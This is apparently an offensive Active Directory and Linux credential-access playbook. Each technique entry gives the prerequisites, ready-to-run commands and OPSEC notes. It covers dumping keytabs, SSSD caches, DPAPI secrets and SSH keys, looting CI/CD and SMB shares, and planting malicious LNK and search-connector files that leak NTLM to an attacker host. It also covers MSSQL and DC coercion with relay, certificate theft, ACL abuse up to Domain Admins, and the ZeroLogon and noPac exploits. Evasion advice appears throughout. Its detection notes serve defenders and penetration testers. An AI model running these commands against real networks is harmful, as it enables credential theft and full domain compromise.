Domain-joined Linux (SSSD, realmd, Samba, PBIS/Centrify) keeps Kerberos material on disk that Windows-only tooling never sees. /etc/krb5.keytab holds the host's machine-account key (service keytabs hold SPN keys), from which you extract the NT/AES hash; user credential caches (/tmp/krb5cc_*, $KRB5CCNAME, or the SSSD KCM store) are live tickets you can reuse directly; the SSSD cache splits two ways: /var/lib/sss/db/cache_<domain>.ldb holds cached credentials as salted 5000-iteration SHA-512 (one-way, offline-crack only, never pass-able), while /var/lib/sss/secrets is the KCM ticket store plus the machine-account secret (directly reusable). Root on one Linux box thus reaches domain accounts. ATT&CK-wise the keytab/SSSD-hash dumping is credential dumping (SSSD cached creds specifically T1003.005), while reusing a ccache ticket is ticket theft/reuse (T1558 Steal or Forge Kerberos Tickets), not credential dumping.

Requires

  • root on a domain-joined Linux host

Example commands

# List + extract a keytab (NTLM hash is the reliable output; AES256/128 recovery depends on the keytab enctypes, use the hakaioffsec/keytabextractor fork for AES keys)
klist -ke /etc/krb5.keytab
python3 keytabextract.py /etc/krb5.keytab
# Reuse a user ccache (pass-the-ticket); /tmp path is the legacy FILE cache
export KRB5CCNAME=/tmp/krb5cc_1000; klist
# modern SSSD (RHEL 8+/Fedora) defaults to KCM, so /tmp/krb5cc_<UID> is empty:
KRB5CCNAME=KCM: klist   # or loot the KCM store at /var/lib/sss/secrets
# Automated harvest
./linikatz.sh

Tools

MITRE ATT&CK: T1003

References

OPSEC / detection: Reading keytab/ccache/SSSD files is quiet local file access (auditd may log reads of /etc/krb5.keytab if configured). Reused ccache tickets look like ordinary Kerberos traffic.

Machine DPAPI Secrets

Decrypt SYSTEM-scoped DPAPI: service/task/WiFi creds and machine cert keys.

DPAPI's machine scope protects secrets owned by the computer rather than a user, unlocked by the DPAPI_SYSTEM LSA secret you hold as SYSTEM/local admin. Decrypting the machine master keys recovers credentials saved by services and scheduled tasks, WiFi PSKs, and, most usefully, machine certificate private keys (which enable PKINIT / certificate auth as the host). Distinct from the per-user DPAPI layer and the domain backup key.

Requires

  • SYSTEM / local admin on the host (for the DPAPI_SYSTEM key)

Example commands

# Machine master keys + credentials
SharpDPAPI.exe machinemasterkeys
SharpDPAPI.exe machinecredentials
# Machine certificate private keys
SharpDPAPI.exe certificates /machine
# WiFi PSKs (SharpDPAPI has no wifi module; use dploot / DonPAPI / mimikatz)
dploot wifi -target <host> -u <u> -p <p>   # or mimikatz: dpapi::wifi

Tools

MITRE ATT&CK: T1552.004

References

OPSEC / detection: Reading machine master keys + LSA secrets touches SYSTEM-protected stores EDR watches, and SharpDPAPI is signatured; but it recovers material LSASS never holds (service creds, cert private keys) without scraping LSASS.

Linux Credential Hunting

Sweep a Linux host for SSH keys, history, config secrets & in-memory creds.

Once you can read a Linux host, sweep for reusable secrets: SSH private keys (~/.ssh/id_*, and authorized_keys/known_hosts to map pivots), shell history (.bash_history/.zsh_history), config and .env files under /etc, /var/www and /opt, database creds (~/.pgpass, ~/.my.cnf), mounted-share creds (/etc/fstab, cifs credential files), the GNOME keyring / KWallet keyring files (~/.local/share/keyrings, KWallet .kwl), and cleartext passwords still in memory (mimipenguin, but it is largely legacy: it works mainly on older Ubuntu/Debian desktops with GNOME Keyring <=3.28 and is effectively dead on modern GDM3/Wayland, so prefer keyring-file harvesting or LaZagne there). On a domain-joined host also grab Kerberos material: credential caches (/tmp/krb5cc_*, KEYRING/KCM) are live tickets to pass, and keytabs (/etc/krb5.keytab, app keytabs) yield the account key. SSH private keys are the prize: they pivot with no password.

Requires

  • Read access to the host (root for /etc/shadow, other users' keys, and process memory)

Example commands

# SSH keys, history & mounted-share creds
find / -name 'id_*' ! -name '*.pub' -readable 2>/dev/null -exec cat {} +   # every user's private keys, skips .pub
cat ~/.bash_history /etc/fstab ~/.pgpass ~/.my.cnf 2>/dev/null
# Kerberos ccaches & keytabs (domain-joined)
ls -la /tmp/krb5cc_* /etc/krb5.keytab 2>/dev/null; cp /tmp/krb5cc_* /tmp/ 2>/dev/null
klist -kte /etc/krb5.keytab
# Grep configs for secrets
grep -rIn -E "pass(word)?|secret|api[_-]?key|token" /etc /var/www /opt 2>/dev/null
# Cleartext creds in memory + automated sweep
sudo python3 mimipenguin.py
./linpeas.sh -e

Tools

MITRE ATT&CK: T1552.004

References

OPSEC / detection: Mostly quiet file reads; mimipenguin and LinPEAS touch many paths / process memory and are AV-signatured on hardened Linux. Prefer targeted reads on monitored hosts.

DevOps & CI/CD Secrets

Loot deploy/admin creds from Ansible, Jenkins, Artifactory & CI runners.

CI/CD and config-management servers hoard privileged, reusable credentials (deploy and service accounts, often domain-privileged). Ansible controllers leak creds in playbooks, group_vars and ansible.cfg (and ansible-vault blobs once you find the key); Jenkins stores them in credentials.xml decryptable with master.key + hudson.util.Secret (or via the Groovy console); Artifactory/Nexus keep them in config DBs and backups; GitLab/GitHub runners expose CI variables and Terraform state (.tfstate). One such server is frequently a fast tier-0 route that never touches a DC.

Requires

  • Access to a CI/CD or config-management server (Ansible controller, Jenkins, Artifactory/Nexus, GitLab runner)

Example commands

# Loot Ansible playbooks / vault
grep -rIn -E "ansible_(password|become_pass)|vault" /etc/ansible /opt 2>/dev/null
ansible-vault view group_vars/all/vault.yml
# Decrypt Jenkins stored credentials
./jenkins-credentials-decryptor -m $JENKINS_HOME/secrets/master.key -s $JENKINS_HOME/secrets/hudson.util.Secret -c $JENKINS_HOME/credentials.xml -o json

Tools

MITRE ATT&CK: T1552.001

References

OPSEC / detection: These servers are high-value yet often under-monitored, and the recovered deploy/service accounts are frequently privileged across many hosts: fast and quiet compared with dumping a DC.

SMB Share Spidering & Looting

Crawl readable shares for passwords, configs, scripts, keys and backups.

Open and over-shared SMB folders routinely hold credentials: scripts with embedded passwords, unattend.xml / web.config / .kdbx / .ppk / .pem files, runbooks and backups. With any domain creds, recursively spider every readable share, keyword/regex the names and contents, and pull hits.

Requires

  • Any domain credentials with read access to one or more shares

Example commands

# Inventory readable shares to JSON
netexec smb 10.0.0.0/24 -u user -p 'Password1' -M spider_plus
# Spider + download (default caps files at 50 KB; raise MAX_FILE_SIZE)
netexec smb 10.0.0.0/24 -u user -p 'Password1' -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=104857600
# Built-in: grep share contents for "password"
netexec smb 10.0.0.20 -u user -p 'Password1' --spider SHARE --content --pattern password
# Grab a specific file off a share (NetExec; --get-file defaults to C$, so this path needs local admin. For a normal readable share, pass --share <name> with a share-relative path)
nxc smb <host> -u user -p pass --get-file \Windows\Temp\creds.txt loot.txt

Tools

MITRE ATT&CK: T1552.001

References

OPSEC / detection: Mass file reads generate object-access events (5145) and are noisy at scale; targeted pattern searches are quieter.

NTLM Theft via Malicious Files

Plant LNK/SCF/.searchConnector-ms files on writable shares so browsing users leak NetNTLM.

With write access to a frequented share, drop files whose icon/resource path points at an attacker UNC (\\attacker\share). When a user merely browses the folder in Explorer, Windows resolves the icon and authenticates to the attacker host, leaking the user's NetNTLMv2 to crack offline or relay. NetExec automates planting across writable shares (slinky=.lnk, scuffy=.scf, drop-sc=.searchConnector-ms, drop-library-ms=.library-ms / CVE-2025-24054); pair with Responder/ntlmrelayx.

Requires

  • Write access to a share that users browse
  • A listener (Responder / ntlmrelayx) to catch the auth

Example commands

# Plant malicious .lnk on every writable share (slinky icon-attribute LNK is patched on fully-updated Windows since April 2025 and fires inconsistently; prefer drop-library-ms / CVE-2025-24054)
netexec smb 10.0.0.0/24 -u user -p 'Password1' -M slinky -o NAME=docs SERVER=10.0.0.66
# Drop a .searchConnector-ms to coerce the WebClient/WebDAV service to start (a WebDAV-coercion primitive, often to enable HTTP->LDAP relay, not the SMB icon-leak the other files use)
netexec smb 10.0.0.0/24 -u user -p 'Password1' -M drop-sc -o FILENAME=index URL='\\10.0.0.66\share'
# Clean up planted files
netexec smb 10.0.0.0/24 -u user -p 'Password1' -M slinky -o CLEANUP=True

Tools

MITRE ATT&CK: T1187

References

OPSEC / detection: Passive trap: it depends on a victim browsing the folder, but is very stealthy to plant. The captured auth (then crack or relay) is the higher-signal follow-on. Remember CLEANUP.

Stored App Credential Extraction

Decrypt creds saved by admin tooling: mRemoteNG, Veeam, PuTTY, WinSCP, RDCMan.

Admin workstations and jump boxes hoard reusable credentials inside connection-manager and backup tooling. mRemoteNG encrypts confCons.xml with a key derived from a master password; when the user leaves the default password (mR3m) it is trivially decrypted, otherwise the custom password must be brute-forced. Veeam keeps backup-job creds in a local DB recoverable with admin rights; PuTTY/WinSCP/RDCMan/MobaXterm cache session secrets in the registry or profile files. These often yield service or domain-admin creds.

Requires

  • Local admin / SYSTEM on the host holding the app config (some app files are user-readable)

Example commands

# Decrypt mRemoteNG saved creds
netexec smb 10.0.0.20 -u admin -p 'Password1' -M mremoteng
# Dump Veeam backup credentials
netexec smb 10.0.0.20 -u admin -p 'Password1' -M veeam
# Dump WinSCP saved sessions (NetExec)
nxc smb <host> -u user -p pass -M winscp

Tools

MITRE ATT&CK: T1555

References

OPSEC / detection: Reading config files / the Veeam DB is far quieter than touching LSASS and bypasses EDR LSASS focus. High-yield against admin jump boxes.

MSSQL NTLM Coercion

Make the SQL service authenticate to you via xp_dirtree.

Any MSSQL login, even a low-privileged one, can call xp_dirtree or xp_fileexist against an attacker UNC path (\\attacker\share), forcing the SQL Server service account to authenticate over SMB. Capture the NetNTLM to crack offline, or relay it (to LDAP for RBCD, to ADCS, or to another SQL host). A quiet way to turn read-only database access into the service account's credentials. These two procedures are enabled by default and need no elevated role (xp_fileexist coerces the auth but returns no output to a low-priv caller). xp_subdirs is not a reliable low-priv primitive: a non-sysadmin caller has no OS security context, so it reaches no external path and coerces nothing.

Requires

  • Any MSSQL login (sysadmin not required)
  • A listener (Responder / ntlmrelayx) to catch the auth
  • MSSQL (1433) reachable

Example commands

# Coerce via xp_dirtree (interactive)
mssqlclient.py domain.local/user:'Password1'@10.0.0.30
SQL> EXEC master..xp_dirtree '\\10.0.0.66\share',1,1
# Coerce over NetExec
nxc mssql 10.0.0.30 -u user -p 'Password1' -q "EXEC master..xp_dirtree '\\10.0.0.66\share',1,1"

Tools

MITRE ATT&CK: T1187

References

OPSEC / detection: xp_dirtree is enabled by default and needs no elevated role: very low-friction. The outbound SMB from the SQL host to an unusual IP is the main signal; have your capture/relay listener running first.

Pass-Back Attack (LDAP/Printer Creds)

Reconfigure a printer/MFP or app to authenticate to your rogue server, then hit "test connection" so it discloses its stored service credentials in cleartext.

Devices and apps that store service credentials for LDAP/SMTP/SMB (printers, MFPs, scanners, web-app config panels) usually expose a 'Test Connection' that binds using the stored secret. Point the configured server host at an attacker-controlled listener and trigger the test: the device sends its credentials to you. For a simple/unencrypted LDAP bind this yields the password in CLEARTEXT (caught with Responder or a rogue LDAP/netcat listener): no cracking or NetNTLM relay needed, because the device decrypts and transmits the secret itself. Distinct from relay/coercion, which capture a challenge-response rather than cleartext.

Requires

  • Admin access to the device/app config panel (default creds often suffice)
  • A rogue LDAP/SMTP listener (Responder / netcat)

Example commands

# Capture the cleartext LDAP simple-bind (rogue LDAP server)
sudo responder -I eth0 -v
# Minimal rogue listener to catch the bind
nc -lvnp 389
# Validate the captured creds against the DC
nxc smb dc01.corp.local -u svc_infra -p '<captured_cleartext>'

Tools

MITRE ATT&CK: T1187

References

OPSEC / detection: Changing the configured server breaks the legitimate service until reverted; an unexpected outbound LDAP/SMTP connection to an attacker IP may alert NDR. Restore the original config after capture.

Set Password via NT Hash (changentlm)

Given a target's current NT hash (but not its cleartext), set its password to a known value over NTLM, enabling a password-based logon a PtH session can't do.

When you hold an account's NT hash but need an actual password (e.g. for a password-based interactive/service logon that restores privileges a pass-the-hash token lacks), mimikatz lsadump::changentlm or impacket changepasswd can set a new password. changentlm authenticates with the OLD NT hash and sets a new password without ever knowing the cleartext. This is a credential-manipulation primitive distinct from the DACL-based force-change edge, which relies on a granted reset right rather than knowledge of the current hash.

Requires

  • The target account's current NT hash
  • A DC that accepts the NTLM password change

Example commands

# Change password using the known OLD NT hash
lsadump::changentlm /server:dc01.corp.local /user:svc_sql /oldntlm:<OLD_NT_HASH> /newpassword:P@ss1234
# Remote equivalent over the wire (hash auth)
impacket-changepasswd 'corp.local/svc_sql@dc01' -newpass 'P@ss1234' -hashes :<OLD_NT_HASH>

Tools

MITRE ATT&CK: T1098

References

OPSEC / detection: Changing a service account password may break the legitimate service and raises a self-change event (4723); it does NOT raise 4724, the event a force-reset (DACL abuse) would raise. The domain Minimum Password Age policy (default 1 day, but configurable and possibly 0) can block a second change within the window; a privileged reset bypasses it. Note the original hash to revert.

Certificate Theft (THEFT1-5)

Steal client-auth certificates + private keys from a compromised host's stores or disk, then PKINIT as the owner.

On a host you control, harvest existing client-authentication certificates and their private keys: export them from the certificate store via CryptoAPI/CNG (THEFT1), decrypt user certs/keys from the DPAPI-protected store with the user's masterkey (THEFT2) or machine certs/keys via DPAPI (THEFT3, needs SYSTEM to reach the DPAPI_SYSTEM LSA secret / machine masterkeys), or find PFX files left on disk (THEFT4). A stolen client-auth cert is then used with PKINIT to obtain the owner's TGT, and from that TGT the account's NTLM hash via UnPAC-the-hash (THEFT5), giving access that survives password resets.

Requires

  • Local admin / the target user context on a host holding a client-auth certificate

Example commands

# Export machine certs + keys (SharpDPAPI)
SharpDPAPI.exe certificates /machine
# Patch CAPI/CNG, then export from the cert store (mimikatz)
privilege::debug
crypto::capi
crypto::cng
crypto::certificates /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE /export
# Authenticate with the stolen cert (PKINIT)
certipy-ad auth -pfx stolen.pfx -dc-ip 10.0.0.1

Tools

MITRE ATT&CK: T1649

References

OPSEC / detection: Reading the cert store / DPAPI masterkeys is quieter than touching LSASS; the loud part is PKINIT auth with the stolen cert. Certs survive password resets, so theft doubles as stealthy persistence.

Koh Token / Credential Theft

Capture and indefinitely reuse the non-network logon-session tokens of users who log on interactively to a host you control.

Koh (SpecterOps/GhostPack) abuses token / logon-session leakage to harvest the tokens of non-network logons on a machine where you have SYSTEM: local, RDP/interactive, service and batch logons, and NewCredentials (runas /netonly). It does NOT capture network (type 3) logons, so inbound SMB/WinRM/PsExec auth to a DC or jump box is never captured. A capture server holds the leaked tokens open (even after logoff) and a client impersonates them on demand. Unlike LSASS dumping, Koh never reads LSASS and yields no password/hash. It reuses live token material, so it works as both a credential-access primitive and quiet persistence on a high-traffic host (jump box, DC, RDS).

Requires

  • Local admin / SYSTEM on a host that other (ideally privileged) users authenticate to

Example commands

# Start the capture server (as SYSTEM) and list sessions
Koh.exe capture
Koh.exe list
# Impersonate a captured token by LUID (KohClient BOF over the named pipe, not a Koh.exe subcommand)
koh impersonate <LUID>

Tools

MITRE ATT&CK: T1134.001

References

OPSEC / detection: Stealthier than LSASS access: no LSASS handle, no hash on disk. The Koh named pipe is an IOC; KB2871997 / TokenLeakDetectDelaySecs and Protected Users membership blunt it. Yields network access as the user, not their cleartext secret.

Privilege Escalation

Admin / Root on Host

Local admin / SYSTEM on Windows, or root on Linux.

You hold administrative control of a host: SYSTEM or local administrator on Windows, or root on Linux. With it, you can harvest the host's credentials. On Windows, dumping LSASS yields live credentials (NTLM hashes, Kerberos tickets, sometimes cleartext); dumping the SAM/SECURITY/SYSTEM hives yields local NT hashes, LSA secrets, and cached DCC2 domain-logon verifiers (which must be cracked offline, they cannot be passed); DPAPI material decrypts protected local and user secrets such as Credential Manager, browser, and application data. On Linux, loot keytabs, ticket caches, and SSH keys. Reuse what you recover to move to the next host.

Requires

  • Local admin / SYSTEM (Windows) or root (Linux) on a host

Example commands

# Dump SAM / LSA / DPAPI remotely (NetExec)
nxc smb <host> -u Administrator -H <NTHASH> --local-auth --sam --lsa --dpapi

Tools

MITRE ATT&CK: T1003

Windows Local Privilege Escalation

Escalate a low-priv local user to local admin / SYSTEM.

From a low-privilege local shell, abuse service / registry / scheduled-task misconfigurations, token privileges (Potato), AlwaysInstallElevated, an unquoted service path, or a kernel exploit to reach SYSTEM. The full technique catalogue is in the Windows Privilege Escalation map.

Requires

  • A low-privilege local shell on the host

MITRE ATT&CK: T1068

References

Linux Local Privilege Escalation

Escalate a low-priv user to root on a Linux host.

From a non-root shell on a domain-joined (or standalone) Linux host, abuse sudo misconfigurations and SUID/SGID binaries (GTFOBins), writable cron jobs, dangerous capabilities, PATH / wildcard injection, shared-library hijacking (LD_PRELOAD / LD_LIBRARY_PATH / writable RPATH), NFS no_root_squash, the docker / lxd group, or a kernel exploit to reach root. LinPEAS and pspy surface the quick wins. Root then reads the host's Kerberos keytabs and SSSD cache.

Requires

  • A non-root shell on the host

Tools

MITRE ATT&CK: T1548

References

category Privilege Escalation

Routes from a domain user to higher privilege.

Every route from an ordinary domain account toward Domain Admin: ACL/DACL abuse, AD CS, Kerberos delegation, account/group manipulation, and critical CVEs. BloodHound usually identifies the shortest path.

Example commands

# Collect BloodHound CE data (bloodyAD: basics only; use SharpHound CE / RustHound-CE / nxc --bloodhound for full ADCS + delegation edges)
bloodyAD -u user -p pass -d domain.local --host dc01 get bloodhound

Tools

References

Unconstrained Delegation

Coerce a DC, capture its TGT.

A host with unconstrained delegation stores the TGT of any user that authenticates to it. Coerce a Domain Controller to authenticate to a host you control (PetitPotam/PrinterBug), capture the DC's TGT, and impersonate it to compromise the domain. The TGT caches in the LSASS of the host that was authenticated to, so run the Rubeus monitor on the unconstrained host you already admin (SYSTEM-level) and coerce the DC to *that* host. Coercing to an arbitrary box caches nothing. To capture on a machine you do not control the delegation on (e.g. a Linux attack host), use krbrelayx instead of the local monitor.

Requires

  • Admin on a host with unconstrained delegation
  • A coercion vector

Example commands

# Find unconstrained-delegation hosts
bloodyAD -u user -p pass -d domain.local --host dc01 get search --filter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' --attr sAMAccountName
# Monitor for incoming TGTs
Rubeus.exe monitor /interval:5 /nowrap
# Coerce the DC to authenticate (-l = the unconstrained host where the TGT caches, or a krbrelayx listener)
coercer coerce -u user -p pass -t DC01 -l unconstrained_host

Tools

MITRE ATT&CK: T1558

References

OPSEC / detection: Coercion (e.g. EfsRpc/PrinterBug) is increasingly detected and patched. Captured DC TGT enables Pass-the-Ticket as the DC.

ADCS ESC1 (Arbitrary SAN)

Enroll a cert as any user via Enrollee-Supplies-Subject.

ESC1 is the most common AD CS misconfiguration: a template with Client Authentication EKU, ENROLLEE_SUPPLIES_SUBJECT enabled, and enrollment open to low-priv users. Request a certificate specifying an arbitrary UPN/SID (e.g. a Domain Admin), then authenticate with it to recover the target NT hash or a TGT. KB5014754 (May 2022) added two separate defenses. A patched CA stamps a SID security extension (szOID_NTDS_CA_SECURITY_EXT) carrying the real enrollee SID into the cert; separately, a DC-side StrongCertificateBindingEnforcement setting controls how strictly the KDC binds a cert to an account (Compatibility since May 2022, Full Enforcement by default from the February 2025 update wave). What decides ESC1 is whether the issued cert carries that extension. Where the CA still omits it (an unpatched CA, or a template or CA suppressed via ESC9/ESC16), the KDC maps the cert by the subject you supply: certipy -sid puts the target SID in the SAN, a strong mapping the KDC honours even under Full Enforcement, while a UPN-only mapping needs Compatibility mode. Where the extension is present it carries your real SID, so a plain ESC1 request authenticates as you, not the target; pivot to an extension-suppressing path (ESC9 per-template, ESC16 CA-wide) to strip it first. One of the ESC1 to ESC8+ family.

Requires

  • A low-priv account with enrollment rights
  • A template vulnerable to ESC1

Example commands

# Find vulnerable templates
certipy find -u user@domain.local -p pass -dc-ip 10.0.0.1 -vulnerable -stdout
# Request a cert impersonating a target (works pre-patch / Compatibility; blocked under Full Enforcement, pivot to ESC9/ESC16)
certipy req -u user@domain.local -p pass -ca CORP-CA -template VulnTemplate -upn administrator@domain.local -sid <target-objectSid>
# Authenticate with the cert -> NT hash + TGT
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1

Tools

MITRE ATT&CK: T1649

References

OPSEC / detection: If CA success auditing is enabled (off by default; requires the CA Auditing tab + auditpol CertificationServices subcategory), the request is logged as Event ID 4886/4887 and a SAN/UPN that differs from the requester is a strong IOC. Certificates remain valid past password resets.

ADCS ESC8 (Relay to Web Enrollment)

Relay coerced NTLM to the AD CS web enrollment endpoint.

ESC8 needs no vulnerable template: the AD CS HTTP web enrollment interface accepts NTLM. Coerce a Domain Controller to authenticate, relay that NTLM to the certsrv endpoint, and obtain a certificate for the DC machine account, which yields a TGT and DCSync. The template must match the relayed principal: DomainController when you relay a DC (as here), a Machine/Computer template for an ordinary computer account, or User for a relayed user. A mismatch is rejected for lack of enrollment rights.

Requires

  • AD CS web enrollment enabled (HTTP, no EPA)
  • A coercion vector to a privileged machine

Example commands

# Relay to web enrollment
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Then coerce the DC to authenticate
Coercer coerce -u user -p pass -t dc01.domain.local -l 10.0.0.50

Tools

MITRE ATT&CK: T1649

References

OPSEC / detection: Combines coercion (noisy) with relay and a cross-account cert request: multiple high-fidelity detections. Mitigated by EPA / HTTPS-only on certsrv.

Group-Delegated Rights

Your effective ACEs include every right granted to the groups you are (transitively) in.

ACEs are frequently granted to a GROUP, not an individual: a help-desk or IT group is delegated ForceChangePassword over a staff OU, a team group gets GenericWrite over its service accounts, a backup group gets rights on servers. As a member you INHERIT those rights even though your own user object holds no ACE on the target. Always enumerate the effective permissions of every group you belong to (transitively, through nesting), not just your account. This is how a low-privilege user ends up holding a powerful control edge; BloodHound resolves it automatically.

Requires

  • Membership in a group that holds an ACE over the target

Example commands

# Resolve rights held by you AND your groups (PowerView)
$sids = @((Get-DomainUser $env:USERNAME).objectsid) + (Get-DomainGroup -MemberIdentity $env:USERNAME).objectsid
Get-DomainObjectAcl -ResolveGUIDs -Identity * | ? { $_.SecurityIdentifier -in $sids }

Tools

References

OPSEC / detection: -Identity * enumerates security descriptors on every object in the domain (heavy paged LDAP, high event volume on a monitored DC). Prefer scoping with -SearchBase to the OU of interest, or lean on an existing BloodHound collection rather than re-querying live.

DCSync Rights (DS-Replication)

A non-DA principal granted replication rights on the domain can DCSync.

DCSync needs two control-access rights on the domain head: DS-Replication-Get-Changes and DS-Replication-Get-Changes-All. They belong to DCs and Domain/Enterprise Admins, but are frequently delegated to sync/service accounts (Entra Connect, backup, monitoring) or granted via a WriteDACL on the domain object. Any account holding both ACEs replicates secrets, including the krbtgt hash, with no Domain Admin membership.

Requires

  • DS-Replication-Get-Changes and Get-Changes-All on the domain object

Example commands

# Find principals with replication rights (PowerView)
Get-DomainObjectAcl -SearchBase 'DC=corp,DC=local' -ResolveGUIDs | ? { $_.ObjectAceType -match 'Replication-Get-Changes' }

Tools

MITRE ATT&CK: T1003.006

References

GenericAll

Full control over an object → the abuse depends on its type.

GenericAll is full control over a target object: it implies WriteDacl, WriteOwner, every property write, and the control-access rights. The abuse depends on the object TYPE: over a USER, reset the password (ForceChangePassword), write a shadow credential, or set an SPN to Kerberoast; over a GROUP, add a member; over a COMPUTER, configure RBCD or read LAPS; over the DOMAIN object, grant yourself DCSync; over a GPO, edit its settings; over an OU, link a malicious GPO.

Requires

  • GenericAll over a target object from an owned principal

Example commands

# bloodyAD
bloodyAD -u user -p pass -d domain.local --host dc01 add genericAll <target> <attacker>
# Grant yourself GenericAll over a target
bloodyAD -H 10.0.0.1 -d domain.local -u user -p pass add genericAll TARGET attacker

Tools

MITRE ATT&CK: T1098

References

OPSEC / detection: If the DC audits it (Directory Service Changes / Access SACL configured), DACL writes surface as 5136/4662; these are not enabled on most objects by default, so absence of a log is not proof of stealth. Revert added ACEs after use; choose the lowest-noise follow-on the edge allows.

GenericWrite

Write a target's attributes, but NOT its DACL or owner.

GenericWrite lets you write a target's attributes, but (unlike GenericAll) NOT its DACL or owner, and not the control-access rights. So it grants NO DCSync and NO password reset; instead you abuse specific writable attributes: set an SPN to Kerberoast, flip DONT_REQ_PREAUTH for AS-REP roasting, write msDS-KeyCredentialLink for shadow credentials, write msDS-AllowedToActOnBehalfOfOtherIdentity for RBCD (over a computer), set scriptPath for a logon script, write a group's member attribute, write msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword) to read the gMSA password, or edit a GPO you control.

Requires

  • GenericWrite (or WriteProperty on a specific attribute) over the target

Example commands

# Set an SPN on a target user (→ Kerberoast)
bloodyAD -H 10.0.0.1 -d domain.local -u user -p pass set object TARGET servicePrincipalName -v 'HOST/x'
# Add a shadow credential
bloodyAD -H 10.0.0.1 -d domain.local -u user -p pass add shadowCredentials TARGET

Tools

MITRE ATT&CK: T1098

References

OPSEC / detection: Attribute writes log 4662/5136 where directory-service-changes auditing / object SACLs are enabled. Shadow credentials and SPN-set are quieter than a password reset and easily reverted, so prefer them (shadow credentials need a PKINIT-capable DC, Server 2016+ with a KDC cert; on a domain without PKINIT support the abuse fails, so fall back to a reset).

ForceChangePassword

Reset a target user's password without the old one.

The User-Force-Change-Password extended right lets you set a target user password without knowing the current one. Reset it, then log in as that user: a direct identity takeover, often the cheapest edge from a low-priv user to a privileged account.

Requires

  • ForceChangePassword (or GenericAll) over the target user

Example commands

# bloodyAD
bloodyAD -u user -p pass -d domain.local --host dc01 set password <target> 'NewPass123!'
# Force-reset the target password
bloodyAD -H 10.0.0.1 -d domain.local -u user -p pass set password TARGET 'Newp@ss123!'

Tools

MITRE ATT&CK: T1098

References

OPSEC / detection: A password reset is auditable (Event ID 4724) and denies the legitimate user access (their old password no longer works), often generating a helpdesk ticket. Prefer shadow credentials or targeted Kerberoast when stealth matters.

AddSelf / AddMember to Group

Add yourself to a privileged group.

With Self-Membership (AddSelf), GenericWrite/GenericAll, or WriteProperty on a group member attribute, add your principal to it. If the group is privileged (e.g. Domain Admins, or one nested into it), you inherit its rights on your next logon (after refreshing your Kerberos ticket / access token; an existing session will not reflect the new membership).

Requires

  • AddSelf / write-member right over a privileged group

Example commands

# bloodyAD
bloodyAD -u user -p pass -d domain.local --host dc01 add groupMember <group> <attacker>
# Add a member to a target group
bloodyAD -H 10.0.0.1 -d domain.local -u user -p pass add groupMember 'Domain Admins' attacker

Tools

MITRE ATT&CK: T1098.007

References

OPSEC / detection: The addition itself persists; SDProp will not undo it (it only restamps inherited ACLs on protected objects, it does not remove group membership). The real signal is the 4728 (global group, e.g. Domain Admins) / 4756 (universal group) event on the DC, and defenders may alert on and manually roll back membership of protected groups. Remove yourself promptly.

AddAllowedToAct

Write msDS-AllowedToActOnBehalfOfOtherIdentity -> RBCD.

AddAllowedToAct is the BloodHound edge for the granular right to write a computer's msDS-AllowedToActOnBehalfOfOtherIdentity, which is exactly what configures resource-based constrained delegation. It is a subset of GenericWrite/GenericAll over the computer: you need only this one property write, not full control. Point it at a principal you control, then run S4U2Self+S4U2Proxy to impersonate almost any user (except accounts in Protected Users or flagged sensitive/cannot-be-delegated; the RID 500 Administrator is the usual exception) to that host. The full chain, including the SPN-less-user variant, is covered under RBCD.

Requires

  • Write over the target computer msDS-AllowedToActOnBehalfOfOtherIdentity (the BloodHound AddAllowedToAct edge)

Example commands

# Write the RBCD attribute (rbcd.py)
rbcd.py -delegate-to 'TARGET$' -delegate-from 'evil$' -action write domain.local/user:pass

Tools

MITRE ATT&CK: T1098

References

OPSEC / detection: If Directory Service Changes auditing and a SACL are configured, the write generates 5136 (and 4662 on {3f78c3e5-f79a-46bd-a0b8-9d18116ddc79}); by default neither is enabled, so the write is often silent. Note that flushing/removing the attribute afterwards emits another modify event and does not erase prior logs.

ZeroLogon (CVE-2020-1472)

Netlogon flaw resets the DC machine password to empty.

A cryptographic flaw in Netlogon's AES-CFB8 use lets an unauthenticated attacker with network access to a DC set its machine account password to empty, then DCSync to dump all hashes. It breaks the DC secure channel until you restore the original password, so use with care.

Affects: Server 2008 R2 through Server 2019 DCs (Netlogon, before the Aug-2020 patch); disclosed before Server 2022 shipped.

Requires

  • Network access to an unpatched DC (pre Aug-2020 patch)

Example commands

# Set DC machine password to empty
cve-2020-1472-exploit.py DC01 10.0.0.1
# DCSync with the empty machine account
secretsdump.py -just-dc -no-pass 'domain.local/DC01$@10.0.0.1'
# Check if the DC is vulnerable (NetExec, no creds)
nxc smb <dc-ip> -M zerologon

Tools

MITRE ATT&CK: T1068

References

OPSEC / detection: High-signal: the defining IoC is a Security event 4742 (computer account changed / machine-account password reset) performed by ANONYMOUS LOGON, followed by System/Netlogon 5805 errors once the secure channel breaks, plus the DC password change. Emptying the DC password breaks replication, so always restore the original machine password afterward.

noPac (CVE-2021-42278/42287)

sAMAccountName spoofing -> impersonate a DC.

Chaining CVE-2021-42278 (no validation of the trailing $ on a machine account name) and CVE-2021-42287 (KDC retries with a trailing $), a low-priv user creates a machine account, renames it to a DC name, gets a TGT, then drops the rename so S4U2self returns a ticket as a DC. Standard-user to Domain Admin in one chain.

Affects: Server 2008 SP2 through Server 2022 DCs, before the Nov-2021 patch (KB5008102 for CVE-2021-42278, KB5008380 for CVE-2021-42287).

Requires

  • Any valid domain account
  • MachineAccountQuota > 0 (to create a machine account) OR control of an existing machine account
  • Unpatched DC (pre Nov-2021 patch)

Example commands

# Scan and exploit
noPac.py domain.local/user:pass -dc-ip 10.0.0.1 -dc-host DC01 --impersonate Administrator -dump
# Check a DC for noPac (NetExec)
nxc smb <dc-ip> -u user -p pass -M nopac

Tools

MITRE ATT&CK: T1068

References

OPSEC / detection: Machine-account creation/rename (4741/4781) and DC-name collisions are detectable. Setting MachineAccountQuota to 0 and patching close the path.

GPO Abuse

Edit a writable GPO -> immediate task / local admin on linked hosts.

